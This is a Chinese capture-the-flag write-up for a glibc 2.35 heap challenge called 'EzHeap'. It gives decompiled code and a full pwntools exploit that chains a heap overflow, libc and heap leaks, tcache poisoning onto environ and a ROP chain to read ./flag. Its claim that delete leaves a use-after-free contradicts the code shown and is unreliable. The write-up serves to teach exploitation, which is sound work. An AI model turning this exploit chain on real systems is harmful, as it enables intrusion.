这个题目和 2022 华东北赛区的 bigduck 题目打法很像，可以放在一起学习，都可以用 environ 或者 setcontext

可知开启 NX、PIE、Canary、Full RELEO、Glibc-2.35

程序分析：main

简单逆向修改了一下函数名，目前看来是没有太大的逆向难度的，整个菜单算是比较规整的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void __fastcall __noreturn main(const char *p_Invalid_choice, char **p_n5, char **a3)
{
  int n5; // [rsp+Ch] [rbp-34h] BYREF
  _QWORD v4[6]; // [rsp+10h] [rbp-30h]

  v4[5] = __readfsqword(0x28u);
  init();
  Seccomp();
  v4[0] = add;
  v4[1] = delete;
  v4[2] = edit;
  v4[3] = show;
  v4[4] = exit_0;
  while ( 1 )
  {
    menu(p_Invalid_choice, p_n5);
    p_n5 = (char **)&n5;
    p_Invalid_choice = "%d";
    __isoc99_scanf("%d", &n5);
    if ( n5 <= 0 || n5 > 5 )
    {
      p_Invalid_choice = "Invalid choice";
      puts("Invalid choice");
    }
    else
    {
      ((void (*)(void))v4[n5 - 1])();
    }
  }
}

/*
unsigned __int64 Seccomp()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = seccomp_init(0);
  seccomp_rule_add(v1, 2147418112, 0, 0);
  seccomp_rule_add(v1, 2147418112, 1, 0);
  seccomp_rule_add(v1, 2147418112, 60, 0);
  seccomp_rule_add(v1, 2147418112, 2, 0);
  seccomp_rule_add(v1, 2147418112, 10, 0);
  if ( (int)seccomp_load(v1) < 0 )
  {
    perror("seccomp_load");
    exit(1);
  }
  seccomp_release(v1);
  return v2 - __readfsqword(0x28u);
}
*/

add：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 add()
{
    signed int size; // [rsp+0h] [rbp-10h] BYREF
    int i; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v3; // [rsp+8h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    for ( i = 0; i <= 79 && *((_QWORD *)&unk_4060 + i); ++i )
        ;
    if ( i <= 79 )
    {
        printf("size:");
        __isoc99_scanf("%d", &size);
        if ( (unsigned int)size > 0x500 )
        {
            puts("error");
            exit(0);
        }
        *((_QWORD *)&unk_4060 + i) = malloc(size);
        memset(*((void **)&unk_4060 + i), 0, size);
        qword_42E0[i] = size;
        printf("content:");
        read(0, *((void **)&unk_4060 + i), size);
    }
    else
    {
        puts("full heap! ");
    }
    return v3 - __readfsqword(0x28u);
}

delete：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delete()
{
    signed int idx; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    puts("idx:");
    __isoc99_scanf("%d", &idx);
    if ( (unsigned int)idx >= 0x50 || !*((_QWORD *)&unk_4060 + idx) )
    {
        puts("error!");
        exit(0);
    }
    free(*((void **)&unk_4060 + idx));
    *((_QWORD *)&unk_4060 + idx) = 0;
    return v2 - __readfsqword(0x28u);
}

这里存在 UAF，*((_QWORD *)&unk_4060 + idx) = 0;是将数组下标置零了，而并非我们常说的指针
其实这里我当时也想当然得认为没有 UAF，也侧面反映了我没有认真审计代码（其实我当时写这道题目的时候有一瞬间的感觉认为这里存在 UAF，尽管看见置零了，但是总感觉怪怪的，不过也没多在意）

1
for ( i = 0; i <= 79 && *((_QWORD *)&unk_4060 + i); ++i )

从 add 当中的 for 循环可以看出来这里其实说的是数组的下标，而真正的内容指针应当是：

1
*((void **)&unk_4060 + idx)

是进行两次解引用的，和 free 掉的应当是一个东西

edit：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 edit()
{
    signed int idx; // [rsp+0h] [rbp-10h] BYREF
    unsigned int size; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v3; // [rsp+8h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    printf("idx:");
    __isoc99_scanf("%d", &idx);
    if ( (unsigned int)idx >= 0x50 || !*((_QWORD *)&unk_4060 + idx) )
    {
        puts("error!");
        exit(0);
    }
    printf("size:");
    __isoc99_scanf("%d", &size);
    if ( size > 0x500 )
    {
        puts("error");
        exit(0);
    }
    printf("content:");
    read(0, *((void **)&unk_4060 + idx), (int)size);
    return v3 - __readfsqword(0x28u);
}

edit 存在堆溢出漏洞，在修改的时候没有限制修改大小，在这里就存在着堆重叠的漏洞

show：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 show()
{
    signed int idx; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    printf("idx:");
    __isoc99_scanf("%d", &idx);
    if ( (unsigned int)idx >= 0x50 || !*((_QWORD *)&unk_4060 + idx) )
    {
        puts("error!");
        exit(1);
    }
    printf("content:");
    printf("%s", *((const char **)&unk_4060 + idx));
    return v2 - __readfsqword(0x28u);
}

这里 show 函数存在 printf 截断，如果没有 \x00 就会一直打印下去。

EXP 思路：

封装函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def choice(cho):
    p.sendlineafter(b'choice >> ', cho.encode())

def add(size,content):
    choice(str(1))
    p.sendlineafter(b'size:', str(size).encode())
    p.sendlineafter(b'content:',content)

def delete(idx):
    choice(str(2))
    p.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
    choice(str(4))
    p.sendlineafter(b'idx:', str(idx).encode())

def edit(idx,size,content):
    choice(str(3))
    p.sendlineafter(b'idx:', str(idx).encode())
    p.sendlineafter(b'size:', str(size).encode())
    p.sendlineafter(b'content:',content)

def exit():
    p.sendlineafter(b'choice >> ',b'5')

这里没什么好说的，继续往下看吧：

构造堆重叠泄露 libc：

1
2
3
4
5
6
7
add(0x408,b'aaaa')                # chunk0
add(0x408,b'aaaa')                # chunk1
add(0x408,b'aaaa')                # chunk2
add(0x408,b'aaaa')                # chunk3

edit(0,0x500,b'a'*0x408 + p64(0x821))
delete(1)

我们前面分析到 edit 存在堆重叠的漏洞，那么我们就可以利用常用的手法构造堆重叠：修改 chunk1 的 size 封盖 chunk2， 然后释放 chunk1，chunk1 这个 0x820 大块就会被分到 UnSortedbin 当中

为了不影响结构，我们重新申请 0x408 大小的 chunk1，切割剩下的仍是 chunk2 放回 UnSortedbin

1
2
3
4
5
add(0x408,b'a')#1
show(2)
p.recvuntil(b'content:')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x21ace0
success("libc_base:"+hex(libc_base))

这样子就可以利用 UnSortedbin 泄露 libc 了：

泄露 heap_base：

1
2
3
4
5
6
7
8
9
add(0x408,b'aaaa')   #4 & 2
add(0x408,b'aaaa')   #5
add(0x408,b'aaaa')   #6
delete(4)
show(2)

p.recvuntil(b'content:')
heap_base = u64(p.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))

在 glibc-2.29 之后都会有指针保护，简单来说就是 当前 fd = 当前堆地址 << 12 ^ 原 fd 指针

0x562ccb3682f0 = 0x562ccb368 ^ 0x562ccb368460

那我们就可以利用基地址以 000 结尾的特性，接收 5 位 fd 指针然后左移就可以获取到 heap_base 了

泄露 environ 获取栈地址：

我们接下来想要利用劫持程序流，在栈上劫持一个地址去填充我们 ORW 的地址，进而获取 shell，在此之前我们就需要先获取栈上的地址，那么就可以利用泄露 environ 的手法泄露栈地址

我们通过 pwndbg 可以查找到 environ 的地址，之后利用 heap_base 定位一下 chunk6

我们可以利用 environ 伪造一个 fd 指针，的那个下一次申请的时候就会申请到 environ 附近的地址：

1
2
3
4
5
environ = libc_base + libc.symbols['environ']
heap = (heap_base + 0x16e0) >> 12  
tar = environ - 0x410
fd = heap ^ tar
log.success("tar:"+hex(tar))

之后删除 chunk6，利用 chunk5 的堆溢出修改 free_chunk6 的 fd 指针并重新申请：

1
2
3
4
5
6
7
delete(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5,0x500,pay)

add(0x408,b'aaaa')#4 
add(0x408,b'aaaa')#6  tar_addr

之后我们在 0x16CC 处下断点：这里是 add 函数即将退出执行 ret 的地方，可以确认用来下一步跳转的栈地址

1
2
3
4
5
6
7
8
.text:00000000000016CC
.text:00000000000016CC locret_16CC:                            ; CODE XREF: add+17B↑j
.text:00000000000016CC                 leave
.text:00000000000016CD                 retn
.text:00000000000016CD ; } // starts at 154A
.text:00000000000016CD add             endp
.text:00000000000016CD
.text:00000000000016CE

可以在当前断点寻找返回地址，然后篡改这个返回地址为 ORW 执行地址，那么下一步就剩下构造 ORW 了：

1
2
3
4
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x168
success("stack_addr:"+hex(stack_addr))

构造 ORW：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316

orw = b'./flag\x00\x00'
orw+=p64(rdi)+p64(stack_addr-0x10)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall_ret)              # open(./flag,0)

orw+=p64(rax)+p64(0)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret)              # read(3,stack_addr - 0x300,0x30)

orw+=p64(rax)+p64(1)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret)              # write(1,stack_addr - 0x300,0x30)

第二次 Tcache Poisoning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x408,b'aaaa')#7
add(0x408,b'aaaa')#8
add(0x408,b'aaaa')#9
add(0x408,b'aaaa')#10
delet(9)
delet(8)
#dbg()
heap = (heap_base+0x1f00)>>12
tar = stack_addr - 0x10
fd = heap^tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7,0x500,pay)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

print(p.recvrepeat(1).decode('latin-1', errors='ignore'))

和第一次 Tcache Poisoning 的手法一样，依旧是 free 两个堆之后利用堆溢出修改 chunk8 的 fd 指针

之后利用 printf 的特性来接收 orw 的返回值。

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *

context(os='linux', arch='amd64', log_level='info')

p = process('./EzHeap')
elf = ELF('./EzHeap')
libc = ELF('./libc.so.6')
context.terminal=["tmux","splitw","-h"]

def debug():
    gdb.attach(p)
    pause()

add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def choice(cho):
    p.sendlineafter(b'choice >> ', cho.encode())

def add(size,content):
    choice(str(1))
    p.sendlineafter(b'size:', str(size).encode())
    p.sendlineafter(b'content:',content)

def delete(idx):
    choice(str(2))
    p.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
    choice(str(4))
    p.sendlineafter(b'idx:', str(idx).encode())

def edit(idx,size,content):
    choice(str(3))
    p.sendlineafter(b'idx:', str(idx).encode())
    p.sendlineafter(b'size:', str(size).encode())
    p.sendlineafter(b'content:',content)

def exit():
    p.sendlineafter(b'choice >> ',b'5')



add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3

edit(0,0x500,b'a'*0x408+p64(0x821))
delete(1)
# gdb.attach(p)
# pause()

add(0x408,b'a')#1
# debug()
show(2)
p.recvuntil(b'content:')
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x21ace0
success("libc_base:"+hex(libc_base))
# debug()


add(0x408,b'aaaa')   #4 & 2
add(0x408,b'aaaa')   #5
add(0x408,b'aaaa')   #6
delete(4)
show(2)


p.recvuntil(b'content:')
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
success("heap_base:"+hex(heap_base))

# debug()

environ = libc_base + libc.symbols['environ']

heap = (heap_base + 0x16e0) >> 12  
tar = environ - 0x410
fd = heap ^ tar
success("tar:"+hex(tar))

delete(6)
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5,0x500,pay)


add(0x408,b'aaaa')#4 
add(0x408,b'aaaa')#6  tar_addr
edit(6,0x500,b'a'*0x40f)
show(6)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 
log.success("leak_addr:"+hex(leak_addr))


stack_addr = leak_addr - 0x168
log.success("stack_addr:"+hex(stack_addr))

gdb.attach(p, "b *$rebase(0x16cc)")

rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_rbx = libc_base + 0x904a9
rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x91316

orw = b'./flag\x00\x00'
orw+=p64(rdi)+p64(stack_addr-0x10)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall_ret) #open(./flag,0)

orw+=p64(rax)+p64(0)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #read(3,stack_addr - 0x300,0x30)

orw+=p64(rax)+p64(1)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(stack_addr - 0x300)
orw+=p64(rdx_rbx)+p64(0x30)*2
orw+=p64(syscall_ret) #write(1,stack_addr - 0x300,0x30)


add(0x408,b'aaaa')#7
add(0x408,b'aaaa')#8
add(0x408,b'aaaa')#9
add(0x408,b'aaaa')#10
delete(9)
delete(8)
#dbg()
heap = (heap_base+0x1f00)>>12
tar = stack_addr - 0x10
fd = heap ^ tar
pay = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7,0x500,pay)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9

print(p.recvrepeat(1).decode('latin-1', errors='ignore'))

参考资料：https://xz.aliyun.com/news/14993

说些什么吧！

utterances